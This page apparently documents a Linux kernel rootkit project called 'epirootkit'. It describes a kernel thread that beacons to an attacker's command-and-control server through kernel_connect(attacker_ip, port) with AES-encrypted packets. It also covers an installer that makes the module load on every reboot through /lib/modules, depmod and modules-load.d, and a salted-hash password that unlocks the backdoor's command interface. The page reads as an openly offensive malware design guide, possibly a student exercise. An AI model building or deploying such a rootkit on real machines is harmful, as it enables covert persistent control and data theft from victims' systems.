On this page
router
Encrypted C2, Persistence & Auth
Heartbeat threads, autoload, and password protection
1. Encrypted C2 Heartbeat
What we did
Spawn a kernel thread to poll our C2 server.
How it works
kthread_run(c2_thread_fn, &cfg, "epic2")
.- Loop:
msleep(ping_interval_ms)
.kernel_socket()
,kernel_connect(attacker_ip, port)
.- Exchange AES-128-CBC packets using keys from
.epirootkit-config
.
2. Persistence & Autoload
What we did
Automatically load on reboot.
How it works
Our installer.sh
:
- Copies
epirootkit.ko
to/lib/modules/$(uname -r)/extra/
. - Runs
depmod -a
. - Writes
/etc/modules-load.d/epirootkit.conf
with:epirootkit
3. Password Protection
What we did
Protect daniel.*
commands with a salted hash.
How it works
- Store
SHA256(salt‖password)
in/etc/epirootkit/passwd
. - First command must be
daniel.p.<hex-salted-hash>
- We compare hashes; only then unlock the command interface.